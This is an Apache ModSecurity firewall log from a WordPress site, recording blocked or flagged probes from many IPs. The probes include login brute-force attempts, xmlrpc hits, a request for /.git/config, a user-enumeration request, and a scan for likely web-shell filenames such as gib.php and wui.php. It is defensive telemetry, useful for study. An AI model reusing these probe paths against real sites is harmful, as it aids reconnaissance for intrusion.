[Sun Dec 07 14:12:43.952980 2025] [:error] [pid 39560:tid 39570] [client 64.23.173.172:50086] [client 64.23.173.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.23.173.172, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTUa2ytL21FvSzcnpi35wgAAAUg"]
[Sun Dec 07 14:23:11.794629 2025] [:error] [pid 39560:tid 39580] [client 85.209.135.111:58890] [client 85.209.135.111] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aTUdTytL21FvSzcnpi39OgAAAVI"]
[Sun Dec 07 14:24:15.204367 2025] [:error] [pid 39560:tid 39570] [client 172.104.233.211:62848] [client 172.104.233.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.104.233.211, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTUdjytL21FvSzcnpi39ngAAAUg"]
[Sun Dec 07 15:33:52.797719 2025] [:error] [pid 39560:tid 39562] [client 139.144.217.190:54958] [client 139.144.217.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.144.217.190, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTUt4CtL21FvSzcnpi0RIgAAAUA"]
[Sun Dec 07 16:25:41.948866 2025] [:error] [pid 39560:tid 39580] [client 132.145.138.253:35892] [client 132.145.138.253] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTU6BStL21FvSzcnpi0jGwAAAVI"]
[Sun Dec 07 17:15:14.112587 2025] [:error] [pid 39560:tid 39568] [client 196.40.97.169:33520] [client 196.40.97.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 196.40.97.169, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTVFoitL21FvSzcnpi00AQAAAUY"]
[Sun Dec 07 17:15:20.891875 2025] [:error] [pid 25602:tid 25666] [client 41.231.122.24:42004] [client 41.231.122.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 41.231.122.24, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTVFqBMayYLriq9gRdftywAAAMQ"]
[Sun Dec 07 17:59:41.172257 2025] [:error] [pid 39560:tid 39578] [client 149.202.183.73:60130] [client 149.202.183.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.202.183.73, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTVQDStL21FvSzcnpi1A5gAAAVA"]
[Sun Dec 07 18:53:24.687156 2025] [:error] [pid 39560:tid 39586] [client 1.15.52.154:52298] [client 1.15.52.154] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aTVcpCtL21FvSzcnpi1VmgAAAVg"]
[Sun Dec 07 19:12:44.238800 2025] [:error] [pid 36068:tid 36080] [client 66.42.64.64:40432] [client 66.42.64.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.42.64.64, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTVhLFGuxqM4ZYob8lMTbwAAAAo"]
[Sun Dec 07 20:21:35.279149 2025] [:error] [pid 5223:tid 5256] [client 46.105.124.216:56306] [client 46.105.124.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.105.124.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTVxT_oRJa-T0FB0DNrgkAAAAII"]
[Sun Dec 07 21:13:33.149057 2025] [:error] [pid 9961:tid 9987] [client 136.117.92.162:58752] [client 136.117.92.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.117.92.162, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTV9fWQdnfbgcnzr89JdBQAAAVg"]
[Sun Dec 07 21:13:36.172302 2025] [:error] [pid 9961:tid 9977] [client 136.117.92.162:58752] [client 136.117.92.162] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTV9gGQdnfbgcnzr89JdCwAAAU4"]
[Sun Dec 07 21:13:38.420954 2025] [:error] [pid 9961:tid 9973] [client 136.117.92.162:58752] [client 136.117.92.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.117.92.162, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTV9gmQdnfbgcnzr89JdEgAAAUo"]
[Sun Dec 07 21:31:37.192007 2025] [:error] [pid 9961:tid 9982] [client 51.91.51.27:49646] [client 51.91.51.27] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.91.51.27, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTWBuWQdnfbgcnzr89JhvAAAAVM"]
[Sun Dec 07 22:46:18.101770 2025] [:error] [pid 9961:tid 9970] [client 4.190.185.215:46290] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gib.php"] [unique_id "aTWTOmQdnfbgcnzr89J9lQAAAUc"]
[Sun Dec 07 22:46:18.916185 2025] [:error] [pid 5222:tid 5238] [client 4.190.185.215:46010] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gib.php"] [unique_id "aTWTOt8FU0HgkYWmt7tRjQAAAEw"]
[Sun Dec 07 22:46:21.180952 2025] [:error] [pid 5223:tid 5266] [client 4.190.185.215:29637] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gib.php"] [unique_id "aTWTPfoRJa-T0FB0DNr9cgAAAIw"]
[Sun Dec 07 22:46:23.082153 2025] [:error] [pid 9961:tid 9965] [client 4.190.185.215:39181] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gib.php"] [unique_id "aTWTP2Qdnfbgcnzr89J9nwAAAUI"]
[Sun Dec 07 22:46:23.703773 2025] [:error] [pid 5222:tid 5230] [client 4.190.185.215:24381] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/article.php"] [unique_id "aTWTP98FU0HgkYWmt7tRlQAAAEQ"]
[Sun Dec 07 22:46:25.577342 2025] [:error] [pid 9610:tid 9636] [client 4.190.185.215:46041] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/article.php"] [unique_id "aTWTQcZ4Zl9G0UhQ7w1QFgAAARg"]
[Sun Dec 07 22:46:27.571795 2025] [:error] [pid 5223:tid 5264] [client 4.190.185.215:54615] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/article.php"] [unique_id "aTWTQ_oRJa-T0FB0DNr9fgAAAIo"]
[Sun Dec 07 22:46:29.236969 2025] [:error] [pid 9610:tid 9627] [client 4.190.185.215:54639] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/article.php"] [unique_id "aTWTRcZ4Zl9G0UhQ7w1QHAAAAQ8"]
[Sun Dec 07 22:46:30.181472 2025] [:error] [pid 5223:tid 5267] [client 4.190.185.215:43470] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/efile.php"] [unique_id "aTWTRvoRJa-T0FB0DNr9gwAAAI0"]
[Sun Dec 07 22:46:30.935468 2025] [:error] [pid 9961:tid 9981] [client 4.190.185.215:43212] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/efile.php"] [unique_id "aTWTRmQdnfbgcnzr89J9rQAAAVI"]
[Sun Dec 07 22:46:31.759497 2025] [:error] [pid 9961:tid 9986] [client 4.190.185.215:46161] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/efile.php"] [unique_id "aTWTR2Qdnfbgcnzr89J9rgAAAVc"]
[Sun Dec 07 22:46:32.411111 2025] [:error] [pid 5224:tid 5281] [client 4.190.185.215:46157] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/efile.php"] [unique_id "aTWTSPAAkbWt7RJBoF_7ZwAAAMA"]
[Sun Dec 07 22:46:32.821390 2025] [:error] [pid 9961:tid 9969] [client 4.190.185.215:43508] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wui.php"] [unique_id "aTWTSGQdnfbgcnzr89J9swAAAUY"]
[Sun Dec 07 22:46:33.395900 2025] [:error] [pid 5224:tid 5282] [client 4.190.185.215:31473] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wui.php"] [unique_id "aTWTSfAAkbWt7RJBoF_7aQAAAME"]
[Sun Dec 07 22:46:34.316400 2025] [:error] [pid 9961:tid 9978] [client 4.190.185.215:31445] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wui.php"] [unique_id "aTWTSmQdnfbgcnzr89J9tgAAAU8"]
[Sun Dec 07 22:46:35.616264 2025] [:error] [pid 5222:tid 5226] [client 4.190.185.215:29643] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wui.php"] [unique_id "aTWTS98FU0HgkYWmt7tRogAAAEA"]
[Sun Dec 07 22:46:36.497376 2025] [:error] [pid 5312:tid 5314] [client 4.190.185.215:32073] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cgn.php"] [unique_id "aTWTTOaM49rasZGg_o4TcwAAAAA"]
[Sun Dec 07 22:46:38.362861 2025] [:error] [pid 5222:tid 5243] [client 4.190.185.215:31853] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cgn.php"] [unique_id "aTWTTt8FU0HgkYWmt7tRpQAAAFE"]
[Sun Dec 07 22:46:38.939499 2025] [:error] [pid 5222:tid 5249] [client 4.190.185.215:39195] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cgn.php"] [unique_id "aTWTTt8FU0HgkYWmt7tRpgAAAFc"]
[Sun Dec 07 22:46:40.030088 2025] [:error] [pid 9961:tid 9984] [client 4.190.185.215:46024] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cgn.php"] [unique_id "aTWTUGQdnfbgcnzr89J9wQAAAVU"]
[Sun Dec 07 22:46:42.037641 2025] [:error] [pid 9961:tid 9985] [client 4.190.185.215:23317] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "aTWTUmQdnfbgcnzr89J9xQAAAVY"]
[Sun Dec 07 22:46:43.369939 2025] [:error] [pid 9961:tid 9968] [client 4.190.185.215:30456] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "aTWTU2Qdnfbgcnzr89J9zwAAAUU"]
[Sun Dec 07 22:46:44.068599 2025] [:error] [pid 9961:tid 9982] [client 4.190.185.215:31475] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "aTWTVGQdnfbgcnzr89J90QAAAVM"]
[Sun Dec 07 22:46:45.044915 2025] [:error] [pid 9961:tid 9964] [client 4.190.185.215:35535] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "aTWTVWQdnfbgcnzr89J91gAAAUE"]
[Sun Dec 07 22:46:46.273776 2025] [:error] [pid 5312:tid 5326] [client 4.190.185.215:35558] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/spk.php"] [unique_id "aTWTVuaM49rasZGg_o4TegAAAAw"]
[Sun Dec 07 22:46:47.024239 2025] [:error] [pid 5312:tid 5322] [client 4.190.185.215:38318] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/spk.php"] [unique_id "aTWTV-aM49rasZGg_o4TfAAAAAg"]
[Sun Dec 07 22:46:49.698996 2025] [:error] [pid 5222:tid 5230] [client 4.190.185.215:33355] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/spk.php"] [unique_id "aTWTWd8FU0HgkYWmt7tRrQAAAEQ"]
[Sun Dec 07 22:46:53.409361 2025] [:error] [pid 9961:tid 9984] [client 4.190.185.215:45771] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/spk.php"] [unique_id "aTWTXWQdnfbgcnzr89J96AAAAVU"]
[Sun Dec 07 22:46:54.092991 2025] [:error] [pid 9961:tid 9976] [client 4.190.185.215:44658] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/log.php"] [unique_id "aTWTXmQdnfbgcnzr89J96QAAAU0"]
[Sun Dec 07 22:46:55.370913 2025] [:error] [pid 5222:tid 5245] [client 4.190.185.215:38291] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/log.php"] [unique_id "aTWTX98FU0HgkYWmt7tRrwAAAFM"]
[Sun Dec 07 22:46:56.363278 2025] [:error] [pid 5223:tid 5265] [client 4.190.185.215:5204] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/log.php"] [unique_id "aTWTYPoRJa-T0FB0DNr9owAAAIs"]
[Sun Dec 07 22:46:57.772408 2025] [:error] [pid 9961:tid 9979] [client 4.190.185.215:43702] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/log.php"] [unique_id "aTWTYWQdnfbgcnzr89J97QAAAVA"]
[Sun Dec 07 22:46:59.333126 2025] [:error] [pid 5312:tid 5314] [client 4.190.185.215:26131] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fe5.php"] [unique_id "aTWTY-aM49rasZGg_o4TiQAAAAA"]
[Sun Dec 07 22:47:03.324348 2025] [:error] [pid 9961:tid 9973] [client 4.190.185.215:37252] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fe5.php"] [unique_id "aTWTZ2Qdnfbgcnzr89J98QAAAUo"]
[Sun Dec 07 22:47:04.338806 2025] [:error] [pid 9610:tid 9612] [client 4.190.185.215:37291] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fe5.php"] [unique_id "aTWTaMZ4Zl9G0UhQ7w1QNQAAAQA"]
[Sun Dec 07 22:47:05.125596 2025] [:error] [pid 5222:tid 5250] [client 4.190.185.215:5865] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fe5.php"] [unique_id "aTWTad8FU0HgkYWmt7tRuAAAAFg"]
[Sun Dec 07 22:47:05.956786 2025] [:error] [pid 9610:tid 9626] [client 4.190.185.215:26155] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2r.php"] [unique_id "aTWTacZ4Zl9G0UhQ7w1QOgAAAQ4"]
[Sun Dec 07 22:47:06.651680 2025] [:error] [pid 9610:tid 9622] [client 4.190.185.215:26205] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2r.php"] [unique_id "aTWTasZ4Zl9G0UhQ7w1QPAAAAQo"]
[Sun Dec 07 22:47:07.923245 2025] [:error] [pid 9610:tid 9627] [client 4.190.185.215:43673] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2r.php"] [unique_id "aTWTa8Z4Zl9G0UhQ7w1QQwAAAQ8"]
[Sun Dec 07 22:47:09.023271 2025] [:error] [pid 5312:tid 5335] [client 4.190.185.215:5852] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2r.php"] [unique_id "aTWTbeaM49rasZGg_o4TlgAAABU"]
[Sun Dec 07 22:47:09.640254 2025] [:error] [pid 5224:tid 5289] [client 4.190.185.215:37260] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mailer.php7"] [unique_id "aTWTbfAAkbWt7RJBoF_7hwAAAMg"]
